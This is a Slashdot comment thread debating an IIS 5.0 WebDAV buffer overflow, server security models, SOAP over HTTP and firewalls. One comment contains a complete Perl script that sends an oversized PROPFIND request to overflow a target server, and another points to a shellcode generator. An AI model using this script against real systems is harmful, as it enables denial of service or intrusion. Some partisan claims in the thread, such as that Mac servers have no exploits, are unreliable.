    ...and they are limited to 255 bytes in length. (For those who did not program in pascal, the first character in the char array represents the length of the string. Since unsigned char's maximum value is 255, that's the maximum length of the string). Anyway, a buffer overflow occurs when you try to write more data than you can fit in the buffer. The only way a compiler could prevent that is if it inserts length checks before every write, and either truncates the string or terminates the program. It's been a loooong time since I touched pascal, so I don't remember how it handles that, but in any case it's irrelevant: is WebStar written in Pascal? In fact, besides some legacy code in MacOS, is anything at all written in Pascal these days?

    Macs running Webstar have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension).

    Unix running Apache have ability to only run CGI placed in correct directory location and correctly file "typed" (not mere file name extension). (You can't run some random data).

    Macs never run code ever merely based on how a file is named. ".exe" suffixes mean nothing!

    Unix never run code ever merely based on how a file is named. ".exe" suffixes mean nothing! (You need to set executable permission first).

    but the best part is that mac web programs and server tools do not create files with resource forks usually. TOTAL security.

    Yeah, and when I leave the house I put my keys under the rug usually. TOTAL security. I mean who would possibly figure out how to create "resource forks" and such?

    Stack return address positioned in safer location than some intel Osses.

    That is the property of the hardware, not OS. Do you undestand the distinction?

    7> There are less macs, though there are huge cash prizes for cracking into a MacOS based WebStar server (typically over $10,000 US). Less macs means less hacker interest

    What happened to 5> and 6>? Were those argument too stupid even by your standards?
    Anyway, in this paragraph you are contridicting yourself: on the one hand you are claiming that macs are safer because there is less

    --
    ___
    If you think big enough, you'll never have to do it.
    1. Re:this troll again! by Anonymous Coward · · Score: 0

      Actually, he is correct. The main US Army site is running on MacOS 9 running Webstar and they switched from Windows NT because their site was hacked so many times.
      http://uptime.netcraft.com/up/graph/?host= www.army .mil

    2. Re:this troll again! by Anonymous Coward · · Score: 0

      Generally good points, although I think you're a bit hazy on some of the details of the low level stuff that goes on in your typical stack-smashing exploit.

      That wasn't really going to be the gist of my comment, though. I wanted to point out that the position of the stack address is not dependent on the operating system or machine architecture at all (at least on Intel, and most other platforms), but rather the platform call /convention/. Note convention. You can arrange your stack any way you want in memory, as long as it follows a convention understood by callers and callees.

      Windows programmers have to put up with like 5 different call conventions, at least. I believe this is due to the fact that Pascal and C used different calling conventions, way back when people actually programmed applications in Pascal.

    3. Re:this troll again! by Anonymous Coward · · Score: 0

      BugTraq database and other exploit databases is proof enough that hundreds of remote linux exploits exist.
      many OpenBSD exploits exist
      many os x exploits exist, but the US army www.army.mil and many other army webservers except the ones that keep getting exploited, run MAC OS and WEBSTAR.

      Mac OS and Webstar have no exploits abnd the reasons are the exact TECHNICAL reasons the post mentioned.

      Its not magical, its not coincidence.

      Learn a lottle about systems programming and you will learn why BugTraq and other exploit databases have no record of a Macintosh OS exploit in internet history, except some obscure 3rd party addon web enhancement over 5 years ago.

      clueless dips like RelliK who are anti-mac bigots like to throw the word TROLL at informative posts.

      I did not even BOTYHER to lokk at your crap because I know you have nothing to offer based on your headline claiming me a "troll"

      its true. I read NONE of your remarks except a few words. You are the troll.

  67. Feed yourself by Anonymous Coward · · Score: 0

    Oh, geez, this was almost a guaranteed +5 with the biased mods in an article like this.

    Your first three paragraphs were quite good and interesting.

    Your fourth is full of idiocy.


    But ALL of yours were dumb! Stupid-head!

    Umm, not at all. It is quite a serious incident.

    He just explained why it was overblown.

    Tell me, is this the first time you noticed that? Not much analytical thought going on upstairs, is there?

    This is the point at which I realized YOUR post was the troll. You're ridiculously hostile over the fact that somebody dared breathe a word that an MS vulnerability was overblown.

    They suck a very disproportionate chunk of money out of the market, they are in a position where innovation is much too risky, they are in such a controlling position that they are even greatly profitable against the trend of the rest of the market. The IBM PC pushed the boom. DOS and Windows have ridden the wave and placed Microsoft in the position of punishing any software company and they keep expanding -- that becomes too successful in the name of feeding their monstrous appetite. DOS and Windows sucked for many years, but were small and people ignored the control that was being given such an unworthy producer.

    I can agree with that paragraph.

    You mentioned facts? The boom came on the backs of now-defunct companies who pioneered their fields, such as word processing, networking, compilers, OO Languages, etc. none of which was pioneered by Microsoft. But Microsoft was good at using software ownership to take these things away from their innovators. And now you have come full circle to why many developers are congregated here and do not always hold Microsoft in high regard.

    Yeah, the big bad company bought good software from other people to sell. How dare they.

    But you knew that, didn't you? Perhaps you are AC because your large company is Microsoft?

    Cue standard wild-eyed anti-corporate Slashdot paranoia conspiracy theory.

    1. Re:Feed yourself by Anonymous Coward · · Score: 0

      Have you read ANY of the anti-trust trial? I didn't think so.

    2. Re:Feed yourself by dabootsie · · Score: 2, Interesting

      Neither have you.

      I have. It's a fucking long and headache-inducing read, so I'm quite certain I'm one of very, very few people to do so.

      The short of it? Yes, people have every right to despise Microsoft; they are absolute scum. Their behaviour during the trial was nothing less than disgusting. Somebody pulled a lot of strings to get them off the hook, rather than being flat-out dissolved and having their assets siezed.
      Case in point: When's the last time you saw someone not get the judicial version of a savage beating after submitting false evidence, even in a civil suit? Aside from Microsoft.

      You may be correct in your position regarding this software firm, but it's only because you made a good guess.

    3. Re:Feed yourself by expro · · Score: 1

      AC,

      My only "hostility" towards AC's comment that it was overblown was to say "Umm, not at all, it was a serious incident".

      The rest was clearly directed at AC's feigned shock that a number of people here do not like Microsoft and his lovefest for Microsoft.

      Yeah, the big bad company bought good software from other people to sell. How dare they. What, again, did they even buy from the primary innovators in these fields Novell, WordPerfect, Borland, Netscape, etc.? But we all know they could afford to rewrite their code dozens of times to eventually get enough right once they got the business model locked up, but they still lack important features.

  68. Cue the apache/open source fanatics... by lkturner · · Score: 1

    They'll jump up and down screaming about how many patches IIS needs to remain secure, while not mentioning that Apache has four security patches in the last six months while IIS only has two. And if you remind them of that, they'll scream "It's because open source is better, it allowed the bugs to be found and fixed quicker." Whatever... Keith

    1. Re:Cue the apache/open source fanatics... by Anonymous Coward · · Score: 0

      Woopdie doo. Look at the total number of patches for each and get back to us.

  69. ...yeah. by Anonymous Coward · · Score: 0

    Right. You've been getting 5 patches in the mail every day lately.

    Sure.

    1. Re:...yeah. by Anonymous Coward · · Score: 0

      He is joking about the current virus disguising as a patch from Microsoft.

  70. Why isn't a bug in Sun's webserver news too? by Anonymous Coward · · Score: 0

    Why is a security bug in the MS webserver news but a similar bug in the Sun webserver is not?

    Oh wait, this is Slashdot and Bill Gates is evil...

    Hole found in Sun server software
    A flaw in Sun Microsystems' Web server software could allow hackers to gain control of Web sites, a security consulting company warned.

  71. Hush! by Anonymous Coward · · Score: 0

    This is Slashdot! You think standard logic and calm reasoning exists around here? This is the land of knee-jerk reactions and biased anecdotal holier-than-thou elitism, my friend.

    Simply telling people that Windows Update can AUTOMATICALLY download and install updates will cause them to go off into standard EULA rants anyway.

  72. Re:It's clear that you don't understand security.. by Qrlx · · Score: 1

    On the other hand, using any number of authentication schemes (including through an LDAP server, behind a firewall), you can lock it down as tightly as you'd like. And yes, it runs over HTTPS as well as HTTP, so even your port 80 crack is laughable.

    I dunno...I mean yeah, but the whole point of this sploit is that none of that matters since you have local admin rights on the IIS\Webdav server.

    How are you going to not give the local system account of the WebDAV server access rights to the documents you're WebDAVing?

    Of course, I still don't know what WebDAV is, but I installed that patch. The threat looks pretty amazingly significant, even without WebDAV's extra features.

  73. In related news... by isomeme · · Score: 1

    In related news, it was confirmed by oceanographic researchers this morning that the Pacific Ocean is wet.

    --
    When all you have is a hammer, everything looks like a skull.
  74. Re:Bullshit by johnnyb · · Score: 1

    Dumping IIS because of a few security holes is really fucking stupid for a ton of reasons that I don't even have time to go into.

    ****

    It's not the holes, it's the policy. IIS runs as LocalSystem by default. ANY breakage in IIS leads to a full system compromise. With Apache, since it runs as it's own user, usually there is very little damage from a compromise. If you fully compromise Apache with normal security settings:

    * You still can't modify people's files
    * You can't even modify the apache config files

    The only exception is that if it is running Active Content, you can do anything that the active content can do. That's problematic, but nowhere near the problems of a full system compromise.

  75. Netware by Unleashed-TMY · · Score: 0

    Slightly less equally vulnerable.
    Slightly faster.
    Slightly more reliable.
    Slightly more manageable.
    Slightly cheaper.
    Slightly less pain.

    1. Re:Netware by KingDaveRa · · Score: 1

      Slightly more unreliable with NetStorage running. We run a Netware network wth eDirectory 8.6 and all associated bells and whistles. While I do think Netware is great, it still suffers from all the same Apache vulns, or at least it has seemed to.

  76. Re:It's clear that you don't understand security.. by mike_sucks · · Score: 3, Informative

    No, it is clear that *you* don't understand security. Specifically:

    • WebDAV is *nothing* like a VPN.
    • "using any number of authentication schemes" does not "lock down" anything at all.
    • It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).
    • Web applications are irrevalent to network security.

    Please, get a clue.

    /mike

    --
    -- "So, what's the deal with Auntie Gerschwitz et all?"
  77. gosh by Anonymous Coward · · Score: 0

    what are chances this is related to http://www.msnbc.com/news/886524.asp?0cv=CB20

    army sites being hacked with "disturbing" effectiveness?

  78. Not applicable to Windows XP by sirshannon · · Score: 1

    from the bulletin :

    Who should read this bulletin: Systems administrators running Microsoft ® Windows ® 2000


    from the patch download page:

    Supported Operating Systems: Windows 2000
    Windows 2000 Professional
    Windows 2000 Server
    Windows 2000 Advanced Server
    Internet Information Server 5.0

    No XP; No IIS 5.1

  79. Re:Bullshit by NineNine · · Score: 1, Troll

    It's not the holes, it's the policy. IIS runs as LocalSystem by default.

    So what? You can run IIS under any user. Also, NTFS has very granular file level permissions. It's no less secure than Apache. Default settings do not have a whole hell of a lot of bearing on the quality of an app in my book. That's why they're settings... they can be changed.

  80. Your sig is gay. by Anonymous Coward · · Score: 0

    As is the journal entry it links to.

    You spent 3 months developing something on a completely different platform and then are surprised when it doesn't work on the target platform? Next time, why don't you do a little research before you buy into the "write once, run anywhere" hype?

    Christ. No wonder it's so hard to get a job in IT nowadays, idiots like you somehow get all the jobs!

  81. Re:It's clear that you don't understand security.. by marick · · Score: 1

    Fun reply, thanks.

    Feel free to elaborate. Defend your points, and I'd be happy to explain.

  82. In Related News.... by Chester+K · · Score: 2, Insightful

    While this makes the front page so we can all have our obligatory cracks at Microsoft, a similar (and just as important!) remote root exploit in Samba was just fixed today.

    --

    NO CARRIER
  83. IIS is not installed by default on Win2K? by sirshannon · · Score: 1

    I thought it was. It's been a long time since I've installed it, but I remember the confusion when XP came out because IIS wasn't there after install.

  84. not even worthy of bashing by GunFodder · · Score: 1

    Since when is a serious IIS security issue news? How do we mod the story as flamebait?

  85. Re:It's clear that you don't understand security.. by SquadBoy · · Score: 2, Informative

    * WebDAV is *nothing* like a VPN.
    A VPN has end to end encryption that is what makes it secure. Does WebDAV have end to end encryption?
    * "using any number of authentication schemes" does not "lock down" anything at all.
    If your security depends on authentication schemes you are hosed. You have to have authentication but you also have to have a whole slew of other measures. Which WebDAV does not.
    * It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).

    This is because if you are using 80 or 443 then there is no way to control or shut down the file sharing without also shutting down web access. This is a *bad* thing. Also it makes firewall logs useless.
    * Web applications are irrevalent to network security.

    Your network has to be secure and have a good security policy and then web apps should be made to work within that framework rather than skirt it.

    I want to kill whoever redefined "firewall friendly" to mean "tunnels through 80"

    --

    Cypherpunks: Civil Liberty Through Complex Mathematics. Those who live by the sword die by the arrow.
  86. Re:Don't ask, dont tell by Anonymous Coward · · Score: 0

    Um...before you get all cocky and make an ass out of yourself for stating uninformed SHIT yourself, check out:
    http://uptime.netcraft.com/up/graph/?host=ww w.army .mil
    So much for your credibility.

  87. Re:Don't ask, dont tell by Anonymous Coward · · Score: 0

    http://uptime.netcraft.com/up/graph/?host=www.army .mil
    Damn space. :)

  88. Re:It's clear that you don't understand security.. by mike_sucks · · Score: 5, Informative

    Sure, I can't wait to hear it...

    - WebDAV is *nothing* like a VPN.

    A VPN provides secure access to a remote network via one or more untrusted networks, typically the Internet. Once a VPN is established, the local endpoint has access to the remote networks's resources including, but not limited to, file, mail, directory, print and web servers. Existing protocols such as IMAP, POP, HTTP, LDAP, NFS and SMB can be used over the VPN in a mostly secure and transaprent manner.

    WebDAV is an extension to HTTP - The Hypertext Transport Protocol. HTTP is deisgned to transport hypertext (hence it's name) and other media over via TCP. WebDAV provides distributed authoring and publishing extensions to HTTP to allow, amongst other things, remote collaboration. Using WebDAV for a network file system is akin to using FTP for the same. It is a bad idea.

    => WebDAV is nothing like a VPN.

    - "using any number of authentication schemes" does not "lock down" anything at all.
    - It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).

    Doing everything via HTTP, whether running plain text over port 80, encrypted over port 443 or any other combination is bad practice. One of SOAP's (and WebDAV's) "features" is that it allows you to do stuff over HTTP that would usually otherwise be blocked by a firewall. Want to do RPC? Sure! Just tunnel it through port 80! Want to do file sharing? Sure! Just tunnel it through port 80! This is seriously screwed up. It defeats a primary purpose for which firewalls were invented in the first place; to limit access to dangerous services. Not to mention that using HTTP for everything is a serious architectural design flaw as well.

    Putting authentication in front of HTTP and/or tunneling it over SSL does not fix these problems. This IIS exploit du-jour is a perfect example of such.

    - Web applications are irrevalent to network security.

    A web application should be well designed and implemented, with security in mind. It should be deployed on a network which is properly secured. It should be running on systems which are properly securied. Making a web application secure does not make a network secure (and vice versa). "Irrelevant" is probably a too strong a word, but the security of a network should never be dependent on the security of a web application.

    /mike

    --
    -- "So, what's the deal with Auntie Gerschwitz et all?"
  89. More interesting stroy by XMode · · Score: 1

    Misread the headline as 'WebDAV: Buffy Overcome and Attacks Consumer IIS 5.0'

    Would have made for a much more interesting story anyway.

    1. Re:More interesting stroy by Anonymous Coward · · Score: 0

      Put the wrong stuff in your bong?

  90. Re:It's clear that you don't understand security.. by Pxtl · · Score: 1
    I want to kill whoever redefined "firewall friendly" to mean "tunnels through 80"

    Blame whoever decided that all firewalls must block all traffic that's not HTTP and e-mail.
  91. Phew by Anonymous Coward · · Score: 0

    I'm so glad that Samba security hole - with exploit - was posted off the main page, so we had more room for this.

  92. Thanks guys! by Matey-O · · Score: 2, Interesting

    In your enthusiasm to slam Microsoft, I get a Really Good Feel for when a patch is critical or not. It lets me ignore the servers until a front page Slashdot article shows up.

    So, Danke!

    --
    "Draco dormiens nunquam titillandus."
  93. Clarification on why this patch was different by neoThoth · · Score: 2, Funny

    Most discovery to patch timelines go like this:

    [researcher finds vulnerability]->[notifys vendor]->[waits impatiently for a month or so]->[vendor releases patch in hotfix or service pack]

    This case was completly different and demonstrates a disturbing trend in security research. NO ONE knew about this until it was discovered in the wild. Usually the script kiddies find out about the flaw the same day customers do and then it's an arms race to patch. This time the kids were armed with the exploit before even Microsoft knew about it. The trend of exploits staying secret has started to rear it's ugly head and this is the first major case where it's happened. Don't be suprised if this starts happening more and more. The good news is that MS was able to cough up a patch in a matter of days. The bad is that black hats are obviously keeping secrets about flaws they find.
    Gone are the days where each vulnerability found was shouted from the rooftops till someone noticed the researcher. Now they just root servers with unfettered access until someone figures out that it's a new vulnerability. EG they bypass all IDS and in this case most firewalls.
    For the record, it seems like this is a simple buffer overflow (when will they learn?) so tools like URLScan and SecureIIS stop these attacks. If your running an IIS server it would be a REALLY good idea to invest into either of these. Since they both stop all forms of buffer overflows (and various other types of attack) they don't require a patch to fend off these types of attacks.

  94. I'll see you and raise you a truck of cowshit by leonbrooks · · Score: 1
    Dumping IIS because of a few security holes is really fucking stupid for a ton of reasons that I don't even have time to go into.

    So... you think you shouldn't be dumping it just for breaching standards, being slow, sucking resources and Being Written By Microsoft With Malice Aforethought?

    I personally don't think you should be dumping it because of a few security holes, I think you should be dumping it for having lots of security holes.

    --
    Got time? Spend some of it coding or testing
    1. Re:I'll see you and raise you a truck of cowshit by Anonymous Coward · · Score: 0
      and Being Written By Microsoft With Malice Aforethought?

      Huh? What's 'Aforethought'?

  95. Re:Bullshit by Anonymous Coward · · Score: 0

    "You can run IIS under any user."

    Reference to where this is a supported configuration?

    It would break WebDAV (see subject) for sure.

  96. Xerox's DocuShare by g0hare · · Score: 1

    Used to do some neat stuff with WebDav, it it's still around

    --
    Vote Quimby!
  97. where's an article on the Linux Samba security bug by stevefox · · Score: 1

    If your site is not blindly prejudice against Windows I would expect this article to appear on your site some time. Its a buffer overflow. It also says you are crazy to enable Samba on a box attached to the Internet. You are also crazy not to use the IIS lockdown tool that stops Windows buffer overflows. I prefer Windows because I can make amazing software on that OS and I cannot do much more than 'hello word' on a Linux system. Article: "Linux firms look to plug Samba hole: The open-source community is pushing customers to patch their systems to close a hole in a software component that allows Windows programs to store and retrieve files on Linux and Unix servers." http://www.zdnet.com.au/newstech/os/story/0,200002 4997,20272953,00.htm

  98. Re:Bullshit by 1010011010 · · Score: 1

    It's no less secure than Apache.

    HAHAHAHAHAHAHAHA!

    --
    Napster-to-go says "Fill and refill your compatible MP3 player", which is a lie. It's not MP3. It's WMA with DRM.
  99. that was posted here a couple of days ago... by BluSkreen · · Score: 1

    The Samba issue was posted a couple of days ago...

    http://developers.slashdot.org/article.pl?sid=03 /0 3/15/181253&mode=thread&tid=172&tid=14 8

  100. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  101. Re:It's clear that you don't understand security.. by Anonymous Coward · · Score: 0

    As one of those who configure their firewall to only allow specific traffic through, I'd say the 25,000 packets it blocked in the past week indicates a lot of traffic I'm glad didn't get through to my network.
    And, if one of my users can prove the need for and security of an application having access from/to the internet, it takes less than a minute for me to allow access to that port and address.

  102. Re:Why use IIS? USe Apache! by Anonymous Coward · · Score: 0

    I think it's really time for me
    to convince my boss to switch for Apache!

    I mean being pro-MS/IIS whatever,
    doesn't make sense. Why the hell,
    people use IIS when Apache for Windows is freaking stable like rock.

    Oh I see, they are too dumb to double-click download, go through a Wizard and install Apache.
    hmmm.

  103. Re:Bullshit by NineNine · · Score: 2, Insightful

    Just change the user the service runs under.

  104. Re:Bullshit by Anonymous Coward · · Score: 0

    Gee, if it was that simple, I wonder why MS isn't telling everyone to do it.

  105. Re:It's clear that you don't understand security.. by TummyX · · Score: 1


    Want to do RPC? Sure! Just tunnel it through port 80!


    Well, SOAP is designed to allow applications to have access to the kind of context-full information humans would have access to through the web anyway.

    You're not sending anything that wouldn't have been sent anyway.

    Take the Google webservice as an example. You can make RPC calls to Google over port 80 -- but it's not much different from a human doing a manual Google search from a browser.

  106. Re:It's clear that you don't understand security.. by mike_sucks · · Score: 1

    Well, SOAP is designed to allow applications to have access to the kind of context-full information humans would have access to through the web anyway.

    Err, no.

    SOAP is a lightweight protocol for exchange of information in a decentralized, distributed environment.

    -- Simple Object Access Protocol (SOAP) 1.1

    It is a RPC mechanism which is primarilly layered on top of HTTP. Don't make the mistake that just becuase it typically uses HTTP for transport, or is used in "Web Services" that it will only be used in a benign way, or that it is benign by design.

    People are alreay starting to use it for mission critical RPC. It is a disaster waiting to happen.

    /mike

    --
    -- "So, what's the deal with Auntie Gerschwitz et all?"
  107. Yawn..... by Anonymous Coward · · Score: 0

    It's nice to get worked up about all these holes and patches but if half the jokers who are running NT/2000 boxes for a living would just do their job they wouldn't have a problem.

    I've had my servers configured (locked down) the same way for the last year and a half and guess what....none of these vulnerabilities (including that lame SQL worm) made any difference to me. I was already protected all because I did a little research into what other people (who have time to research this stuff) said about how to properly harden a MS server (web or db). Oh and there's this neat thing called IISLockdown that disables WebDAV for you IF YOU RUN IT! Oh and it's part of an even neater thing called Microsoft Baseline Security Analyzer that helps you do lots of other stuff. That's only been around for a year or more. But hey, don't worry about it now. If you've got a MS server on the web and don't know what I (or anyone else here) am talking about then your servers are prolly hosed anyway. There's no excuse for bad admin.

    Oh and before I get any lame "oh, you must not have them plugged in then...yuk yuk yuk" comments, yes they are plugged in. To the Internet in a datacenter even.

    And no, you can't have the IP. :P

  108. *ix by stealth by anonymous+cupboard · · Score: 1
    You can run Apache quite nicely on Win 2K especially under CYGWIN. You can also run a lot of other things under cygwin that you might want on your web server too.

    The advantage is that most managers don't like radical changes. Once you have everything you need running under CYGWIN and the next MS OS bug appears, you can very easily drop Win2K and move to Linux because your apps are already Linux compatible.

  109. Re:where's an article on the Linux Samba security by Anonymous Coward · · Score: 0

    Well I guess it's ok to make mistakes, as long as you're doing it with Linux. Welcome to /.

  110. Re:It's clear that you don't understand security.. by TummyX · · Score: 1


    Err, no


    Err yes! That's what it was designed for. A way of allowing website website communication as well as thickclient website communication.


    It is a RPC mechanism which is primarilly layered on top of HTTP. Don't make the mistake that just becuase it typically uses HTTP for transport, or is used in "Web Services" that it will only be used in a benign way, or that it is benign by design.

    People are alreay starting to use it for mission critical RPC. It is a disaster waiting to happen.


    Um. Kind of like how people are using HTTP and the web for mission critical *manual* data input and presentation?

  111. Re:It's clear that you don't understand security.. by TummyX · · Score: 1

    Slash removed my arrows.

    The third sentence should be:

    A way of allowing website <-> website communication as well as thickclient <-> website communication.

  112. Exploit Code (Karma Whoring) by thedji · · Score: 3, Informative

    Test your server...

    #!/usr/bin/perl
    # Written by Georgi Guninski
    use IO::Socket;
    print "IIS 5.0 propfind\n";
    $port = @ARGV[1];
    $host = @ARGV[0];
    sub vv()
    {
    $ll=$_[0]; #length of buffer
    $ch=$_[1];
    $over=$ch x $ll; #string to overflow
    $socket = IO::Socket::INET->new(PeerAddr => $host,PeerPort => $port,Proto => "TCP") || return;
    #$xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."$over".':"><a:prop ><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
    # ^^^^ This is another issue and also works with length ~>65000
    $xml='<?xml version="1.0"?><a:propfind xmlns:a="DAV:" xmlns:u="'."over".':"><a:prop><a:displayname />'."<u:$over />".'</a:prop></a:propfind>'."\n\n";
    $l=length($xml);
    $req="PROPFIND / HTTP/1.1\nContent-type: text/xml\nHost: $host\nContent-length: $l\n\n$xml\n\n";
    syswrite($socket,$req,length($req));
    print ".";
    $socket->read($res,300);
    #print "r=".$res;
    close $socket;
    }
    do vv(128008,"V"); # may need to change the length
    sleep(1);
    do vv(128008,"V");
    print "Done.\n";

    --
    ... and then there were none
    1. Re:Exploit Code (Karma Whoring) by Anonymous Coward · · Score: 0

      I'm confused as to what this will show?

  113. The hostory of SOAP by mike_sucks · · Score: 1

    No, you are still wrong. SOAP really has nothing to do with web sites.

    It *can* be used by web sites to provide an API for programmatic access to that site's data and functionality, but using SOAP in this manner is actually quite redundant: You can do the same thing without SOAP and in a more architecturally sound manner.

    This is beside the point, however. SOAP has nothing to do with the web, or web sites, other than the fact it uses HTTP as it's default transport.

    SOAP was a spin-off of XML-RPC. Dave Winer developed XML-RPC as a simple RPC mechanism for Userland Frontier, to allow other applications integrate with it. Microsoft picked XML-RPC up (probably becuase it is very buzzword-compilant, and can easily get through those pesky firewalls), turned it into a RPC mechanism for "objects" - which is a lie, they basically just gave it an extensible type system - and let it loose. See XML-RPC for Newbies for a more detailed early history.

    "Um. Kind of like how people are using HTTP and the web for mission critical *manual* data input and presentation?"

    No, it is being used for RPC (Remote Procedure Call) - a form of IPC (Inter-Process Communications). This is far more dangerous. People are exposing programmatic interfaces to mission-critical systems. These interfaces allow other computers to manipulate data on those remote mission-critical systems. Think of having direct access to Amex's customer database vs. having access to their web site. It is a massively different situation.

    /mike

    --
    -- "So, what's the deal with Auntie Gerschwitz et all?"
    1. Re:The hostory of SOAP by TummyX · · Score: 1


      It *can* be used by web sites to provide an API for programmatic access to that site's data and functionality, but using SOAP in this manner is actually quite redundant: You can do the same thing without SOAP and in a more architecturally sound manner.


      Care to explain how you would do it in a more "architecturally sound manner"? Screen scrapping?

      Admittedly, WebServices are only one potential application of SOAP.


      No, it is being used for RPC (Remote Procedure Call) - a form of IPC (Inter-Process Communications). This is far more dangerous.


      Oh balony. Do you think that by calling it RPC or IPC you're making it more dangerous? You can expose as much or as little as you like with SOAP. There's no more 'risk' with SOAP than there is with any other web technology (CGI, ASP, PHP, JSP, etc).


      People are exposing programmatic interfaces to mission-critical systems. These interfaces allow other computers to manipulate data on those remote mission-critical systems.


      So? And HTTP + Forms allow other computers to manipulate data on those remote mission-critical systems as well. What's your point? That people aren't encrypting SOAP calls or routing through HTTPS?

      Do you think that SOAP suddenly exposes every API in your system to the web or something?


      Think of having direct access to Amex's customer database vs. having access to their web site. It is a massively different situation.


      WTF? You can expose as much or as little as you like with SOAP. If there's a programming flaw that allows you access to Amex's customer database it could just as easily occur in the website. You do realise that websites these days can do just about anything don't you? That includes allowing you to fully access Amex's database (if the website is written to do that).

      SOAP definitely has its place. Look at Google or Amazon or any website that has forms. If slashdot had a SOAP interface I could write an application that would regulary to check if any /. posts I made had replies and if there were any it could use an SMS gateway webservice to notify me on my cellphone.

      It makes sense for websites to have programatically accesible methods/operations.

      If Amex is going to use SOAP to send millions of bank transactions across the live internet (rather than through secure lines or over a tight VPN) then it's their fault -- don't blame SOAP.

  114. response by codepunk · · Score: 1

    response.write "Who needs a damn debugger"

    --


    Got Code?
  115. Are Thursdays now out? by SgtChaireBourne · · Score: 2, Interesting
    This must be a serious one. I thought the weekly security patches were now announced on Wednesdays. Or has the patch frequency now stepped up to semi-weekly?

    Sitting on security vulnerabilities until several fixes are available and releasing them as one advisory is a good trick to try to reduce the overal number of advisories, without actually having to improve the quality or security of the product.

    For a while patches were announced on Thursdays and for a while before that it was Fridays. Fridays must have run too much overtime and shown up on the boardroom radar. Thursday in Seattle is already Friday in Europe so maybe this is a play to get MSTD-induced overtime back off the radar of European managers. With a legal cap of around 37.5 hours per week per tech, business can't afford too many IIS servers.

    It is strange that any would try to. Microsoft-IIS is not a viable alternative to Zeus or Apache.

    --
    Beta is broken and the link to classic doesn't work. Stop wasting our time or there won't be anybody left here.
  116. please MOD UP parent by Anonymous Coward · · Score: 0

    ROTFL

    Please, mod up parent.

    It's like The Birds only with little pieces of paper attached to their legs.

  117. Re:The history of SOAP by mike_sucks · · Score: 1

    "Care to explain how you would do it in a more "architecturally sound manner"?"

    For a web site? Use REST. For anything else? Use a well designed IPC protocol.

    "If there's a programming flaw that allows you access to Amex's customer database it could just as easily occur in the website."

    Sigh. If a security hole is found in a webserver, the impact will likely be far, far less than if a hole is found in a SOAP implementation. The difference is what people are going to do with the technology, and how they are going to do it. What SOAP's role in a software architecture is. A web site won't let you *directly* query customer records, or *directly* make purchases. A SOAP API will.

    "SOAP definitely has its place".

    No it doesn't. It violates the Web and Internet architectures. It makes it easy to get around network security. It piggy-backs on application-level protocols which it shoudn't. It pretends to not be an application-level protocol when it is.

    Whilst it looks nice, SOAP is quite fundamentally broken.

    --
    -- "So, what's the deal with Auntie Gerschwitz et all?"
  118. Can we change topic? by Anonymous Coward · · Score: 0

    ..... I'm getting really bored with this one.....

  119. Re:It's clear that you don't understand security.. by Simon+Brooke · · Score: 1
    No, it is clear that *you* don't understand security. Specifically:
    • WebDAV is nothing like a VPN.
    • "using any number of authentication schemes" does not "lock down" anything at all.
    • It doesn't matter if you are running it over HTTP or HTTPS. Both are the wrong protocol to use for filesharing. Just like using SOAP over HTTP(S).

    I could not agree with you more. Conventional Internet style network security is based on the convention that we expose different services on different well known ports. To control access to those services we simply control access to these ports. Consequently a firewall doesn't have to parse the content of packets or understand the details of higher level protocols, it simply has to know which ports to allow and which to block. This means that firewall processes can be lightweight and efficient.

    If you overload a port to provide many different services on the same port this security model doesn't work any longer. You can no longer trust any traffic to any port. Instead, you need a much more complex firewall which (inter alia) can parse soap packets and decide which soap packets to pass and which to block. This makes the firewall much more complex and much more processor (and memory) intensive.

    • Web applications are irrevalent to network security.

    I could not agree with you less. Port overloading is completely inimical to nerwork security. Once undereducated code monkeys are able to put J Random Soap Handler on port 80, either you block port 80 or you have no network security left.

    --
    I'm old enough to remember when discussions on Slashdot were well informed.
  120. shellcode generator by Anonymous Coward · · Score: 0

    go to deepzone.org for shellcode and shellcode generator. anyone know how long the buffer overflow has to be?

  121. The real issue here is .net by Anonymous Coward · · Score: 0

    How on earth can anyone seriously think about using .net, that for all intents *forces* you to use IIS (a.k.a. the Instant Intrusion Service)?

  122. Name change? by antint · · Score: 1

    Seems like it's about time to rename IIS to Apache (a patchy)?

  123. A WebDAV server efficiently acces MS exchange by Anonymous Coward · · Score: 0
    New Page 1

    HiPerExchange is a WebDAV server that runs on the machines of individual email users, allowing them to efficiently access email using Outlook Web Access. See the HiPerExchange Technology Primer for more detailed information.

  124. Aha! by Anonymous Coward · · Score: 0

    So that's why Microsoft responded so promptly in fixing this bug! National Security and all that!

    I mean relatively promptly given that Microsoft is involved!

  125. I'm Disillusioned! by Anonymous Coward · · Score: 0

    I thought that Chairman Bill said that it would all be as easy as point 'n click?

  126. The registry key clickable by Kalak · · Score: 1

    It never occurred to me until I read the parent to do this for the (sigh) 2 servers I have to run IISs on for a specific app. Copy and paste this into a text file (notepad) named diableWebDAV.reg, then double click to add to any registry:

    REGEDIT4

    [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Ser vi ces\W3SVC\Parameters]
    "DisableWebDAV"=dword:1

    --
    I am, and always will be, an idiot. Karma: Coma (mostly effected by .hack)
  127. Comment removed by account_deleted · · Score: 1

    Comment removed based on user account deletion

  128. Re:Bullshit by Trolling4Dollars · · Score: 1

    As much as I hate NineNine's stinking and corrupted guts, he is correct. You can change the user that IIS runs as very easily. (I've only worked with IIS 4.0 up to this point) Just open the services control panel applet, scroll down to World Wide Web Publishing service and set the user account for IIS to run as.

    However, I will make an observation here: NO internet server can be secured if it's shipped with default settings since default settings cannot remain secure indefinitely. If a server admin MUST explicitly specify server settings, then you will have a more secure server because it will result in uniqueness. MS is horrible at this because you can install IIS and it "just works" without the admin EVER being prompted to secure the server's configuration. I believe they've changed that a bit with IIS 5 but can't speak for it since I don't know it. But if MS really wanted to go the extra mile with security they would make the IIS lockdown tool a required PART OF THE SETUP!!!

